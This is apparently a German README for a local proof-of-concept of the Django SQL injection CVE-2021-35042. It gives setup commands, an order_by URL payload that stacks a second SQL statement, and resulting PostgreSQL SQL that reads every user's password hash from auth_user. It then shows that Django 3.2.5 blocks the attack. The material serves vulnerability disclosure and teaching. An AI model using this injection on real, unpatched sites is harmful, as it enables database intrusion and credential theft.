r4vi/cve-2021-35042Interaktiver Proof-of-Concept, der die SQL-Injection in Django (CVE-2021-35042) mit schrittweiser Ausnutzung gegen SQLite- und PostgreSQL-Datenbanken demonstriert.
Django-SQL-Injection-Fehler
Frage: Erkunde, wie ausnutzbar er ist.
Antwort: Ich bin entsetzt.
poetry install
poetry run ./manage.py migrate
poetry run ./manage.py loaddata dummydata.json
poetry run ./manage.py runserver
Gehe zu http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22
Beachte, dass der ?order_by-Parameter eine Raw-SQL-Referenz auf eine
Spalte "core_things_tags"."things_id" übergibt.
Das ist so ziemlich das Äußerste, was du erreichen kannst: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;-- was die erste SQL-Abfrage schließt und zu folgendem SQL führt:
SELECT "core_things"."id",
"core_things"."name",
COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
"core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()
was mit Folgendem fehlschlägt:
Warning at /
You can only execute one statement at a time.
Das liegt einfach daran, dass SQLite nur eine Abfrage gleichzeitig ausführen kann.
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # make this a valid DATABASE_URL for your own postgres server
poetry run ./manage.py migrate
poetry run ./manage.py loaddata dummydata.json
poetry run ./manage.py createsuperuser # den Eingabeaufforderungen folgen
was das folgende SQL ausführt:
SELECT "core_things"."id",
"core_things"."name",
COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
"core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;
Du kannst jetzt praktisch alles tun. Diese Abfrage stiehlt den Passwort-Hash jedes Benutzers.
Jetzt Django vorübergehend aktualisieren
poetry shell
pip install Django==3.2.5
Rufe die obige URL erneut auf und stelle fest, dass sie nicht mehr funktioniert:
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags